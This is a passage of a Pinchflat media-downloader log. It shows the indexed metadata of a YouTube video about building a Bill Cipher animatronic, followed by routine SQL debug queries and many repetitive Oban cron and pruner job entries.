Byeeee!\n\n#BillCipher #GravityFalls #Animatronic", "We made a real BILL CIPHER Animatronic! (GRAVITY FALLS)", "33e409af-5afa-43dd-8c84-a4abeb7ac1fa", "_v1hKipENZ0", false, "https://www.youtube.com/watch?v=_v1hKipENZ0", 35, [], 1108, false, 14, "/downloads/shows/Wicked Makers/Season 2024/s2024e112700 - We made a real BILL CIPHER Animatronic! (GRAVITY FALLS).mp4", false, false, 98, ~U[2024-11-27 20:56:17Z], ~U[2026-06-03 17:42:45Z], ~U[2026-06-03 17:42:45Z], "Jaimie and Jay make a real Bill Cipher animatronic from Gravity Falls! 😱\nThe first 500 people to click our link will get a 1 MONTH FREE TRIAL of Skillshare! ► https://skl.sh/wickedmakers11241\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nGet Bill's Eye Mech (and more): ► https://patreon.com/wickedmakers\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nCheck out BOTTANGO (FREE) ► https://bottango.com\n\nMATERIALS/STUFF WE USED ► \nBook of Bill - https://amzn.to/4eOHl3M\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nEVA Foam - https://amzn.to/4995bG0\nRope Light - https://amzn.to/3V6x3Vl\n3D Print Coating Resin - https://amzn.to/3B2MsPM\nAcrylic Paints - https://amzn.to/3ZoarT1\nSpackle - https://amzn.to/3ZqZQqw\nGorilla Glue - https://amzn.to/411Sk6A\nMicro Servos - https://amzn.to/4i5O6Rv\nSpeakers - https://amzn.to/3ZoNLlC\nXPS Foam - (Hardware Store)\nDrylok - (Hardware Store)\nMetal - (Hardware Store)\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nWHO IS BILL CIPHER!!!!???!?!\nBill Cipher is an ancient nightmare triangle demon and the main villain of Disney’s Gravity Falls. Created by Alex Hirsch, Bill is a demon of pure chaos, and we love him.\n\nTo start, we carved Bill’s body out of XPS foam. We welded together his base and frame to give us a secure mount for all of the servos and electronics. His eye and eyelid were 3D printed. Everything was given a coat of DryLok to give it a stone texture and then painted. We put on the finishing touches like his hat & bowtie, added in some speakers, and then Jay did his best Bill impersonation for his voice lines. We then programmed his animation with the help of Bottango and brought him to life.\n\nWe are so happy with how Bill Cipher turned out! He looks around, floats, blinks, and even insults you. If you want to see more of our DIY animatronic horror characters, check out our Ink Demon from Bendy and Foxy from FNAF! And let us know who you want to see us build next!\n\nRemember! Reality's an illusion, the universe is a hologram, buy gold, and stay Wicked! Byeeee!\n\n#BillCipher #GravityFalls #Animatronic", "We made a real BILL CIPHER Animatronic! (GRAVITY FALLS)", "_v1hKipENZ0", "https://www.youtube.com/watch?v=_v1hKipENZ0", 35, 1108, false, "/downloads/shows/Wicked Makers/Season 2024/s2024e112700 - We made a real BILL CIPHER Animatronic! (GRAVITY FALLS).mp4", false, ~U[2024-11-27 20:56:17Z]] 13:42:45.883 [debug] QUERY OK source="sources" db=0.2ms idle=4.3ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-06-03 17:42:45Z], ~U[2026-06-03 17:42:45Z], 35] 13:42:45.884 [debug] QUERY OK source="media_items" db=0.4ms idle=3.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [35] 13:42:45.885 [debug] QUERY OK source="media_items" db=0.5ms idle=3.6ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [35] 13:42:45.885 [debug] QUERY OK source="media_items" db=0.1ms idle=3.7ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [35] 13:42:45.886 [debug] QUERY OK source="tasks" db=0.1ms idle=1.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7277, 35, ~U[2026-06-03 17:42:45Z], ~U[2026-06-03 17:42:45Z]] 13:42:45.887 [info] {"args":{"id":35},"id":7261,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":33514267,"event":"job:stop","queue_time":219317,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 13:43:00.625 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:43:00.979 [info] {"source":"oban","duration":2049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:30.983 [info] {"source":"oban","duration":2492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:00.626 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:44:00.985 [info] {"source":"oban","duration":1666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:30.988 [info] {"source":"oban","duration":1740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:00.628 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:45:00.991 [info] {"source":"oban","duration":1699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:30.994 [info] {"source":"oban","duration":1731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:00.630 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:46:00.997 [info] {"source":"oban","duration":1715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:31.000 [info] {"source":"oban","duration":2318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:00.632 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:47:01.003 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:31.006 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:00.634 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:48:01.008 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:31.011 [info] {"source":"oban","duration":1716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:00.636 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:49:01.014 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:31.017 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:00.637 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:50:01.019 [info] {"source":"oban","duration":2115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:31.022 [info] {"source":"oban","duration":2077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:00.639 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:51:01.025 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:31.027 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:00.640 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:52:01.030 [info] {"source":"oban","duration":1921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:31.033 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:00.641 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:53:01.036 [info] {"source":"oban","duration":1723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:31.039 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:00.641 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:54:01.041 [info] {"source":"oban","duration":1742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:31.044 [info] {"source":"oban","duration":1932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:00.643 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:55:01.047 [info] {"source":"oban","duration":2034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:31.050 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:00.645 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:56:01.053 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:31.055 [info] {"source":"oban","duration":2230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:00.646 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:57:01.058 [info] {"source":"oban","duration":2058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:31.061 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:00.647 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:58:01.063 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:31.065 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:00.648 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:59:01.068 [info] {"source":"oban","duration":1695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:31.069 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:00.650 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:00:01.072 [info] {"source":"oban","duration":1830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:31.075 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:00.652 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:01:01.078 [info] {"source":"oban","duration":2045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:31.081 [info] {"source":"oban","duration":1961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:00.653 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:02:01.084 [info] {"source":"oban","duration":2114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:31.087 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:00.655 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:03:01.090 [info] {"source":"oban","duration":2113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:31.093 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:00.656 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:04:01.096 [info] {"source":"oban","duration":2051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:31.099 [info] {"source":"oban","duration":1716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:00.657 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:05:01.101 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:31.104 [info] {"source":"oban","duration":1694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:00.658 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:06:01.107 [info] {"source":"oban","duration":1680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:31.110 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:00.660 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:07:01.113 [info] {"source":"oban","duration":2076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:31.116 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:00.661 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:08:01.119 [info] {"source":"oban","duration":1998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:31.122 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:00.663 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:09:01.125 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:31.127 [info] {"source":"oban","duration":2119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:00.664 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:10:01.130 [info] {"source":"oban","duration":2339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:31.133 [info] {"source":"oban","duration":1644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:00.665 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:11:01.136 [info] {"source":"oban","duration":2001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:31.139 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:00.665 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:12:01.142 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:31.144 [info] {"source":"oban","duration":2066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:00.667 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:13:01.147 [info] {"source":"oban","duration":2014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:31.150 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:00.669 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:14:01.152 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:31.154 [info] {"source":"oban","duration":1949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:00.670 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:15:01.157 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:31.160 [info] {"source":"oban","duration":2083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:00.670 [info] {"source":"oban","duration":207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:16:01.163 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:31.166 [info] {"source":"oban","duration":2016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:00.671 [info] {"source":"oban","duration":225,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:17:01.169 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:31.172 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:00.672 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:18:01.175 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:31.178 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:00.673 [info] {"source":"oban","duration":185,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:19:01.181 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:31.183 [info] {"source":"oban","duration":1985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:00.674 [info] {"source":"oban","duration":198,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:20:01.186 [info] {"source":"oban","duration":2050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:31.189 [info] {"source":"oban","duration":2228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:00.675 [info] {"source":"oban","duration":184,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:21:01.192 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:31.194 [info] {"source":"oban","duration":1942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:00.676 [info] {"source":"oban","duration":212,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:22:01.197 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:31.199 [info] {"source":"oban","duration":2161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:00.677 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:23:01.202 [info] {"source":"oban","duration":2026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:31.204 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:00.678 [info] {"source":"oban","duration":183,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:24:01.207 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:31.210 [info] {"source":"oban","duration":1790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:00.680 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:25:01.213 [info] {"source":"oban","duration":1664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:31.216 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:00.681 [info] {"source":"oban","duration":180,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:26:01.219 [info] {"source":"oban","duration":2012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:31.222 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:00.682 [info] {"source":"oban","duration":154,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:27:01.225 [info] {"source":"oban","duration":1795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:31.228 [info] {"source":"oban","duration":2007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:00.683 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:28:01.231 [info] {"source":"oban","duration":1720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:31.234 [info] {"source":"oban","duration":1749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:00.685 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:29:01.237 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:31.240 [info] {"source":"oban","duration":2066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:00.685 [info] {"source":"oban","duration":227,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:30:01.243 [info] {"source":"oban","duration":2124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:31.246 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:00.686 [info] {"source":"oban","duration":156,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:31:01.248 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:31.251 [info] {"source":"oban","duration":1945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:00.687 [info] {"source":"oban","duration":163,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:32:01.254 [info] {"source":"oban","duration":1936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:31.257 [info] {"source":"oban","duration":1927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:00.688 [info] {"source":"oban","duration":159,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:33:01.260 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:31.263 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:00.689 [info] {"source":"oban","duration":136,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:34:01.266 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:31.269 [info] {"source":"oban","duration":1868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:00.690 [info] {"source":"oban","duration":131,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:35:01.272 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:31.274 [info] {"source":"oban","duration":2056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:00.691 [info] {"source":"oban","duration":142,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:36:01.277 [info] {"source":"oban","duration":2044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:31.280 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:00.692 [info] {"source":"oban","duration":146,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:37:01.283 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:31.286 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:00.693 [info] {"source":"oban","duration":155,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:38:01.289 [info] {"source":"oban","duration":2027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:31.292 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:00.694 [info] {"source":"oban","duration":143,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:39:01.295 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:31.298 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:00.695 [info] {"source":"oban","duration":133,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:40:01.301 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:31.304 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:00.696 [info] {"source":"oban","duration":133,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:41:01.307 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:31.310 [info] {"source":"oban","duration":2040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:00.697 [info] 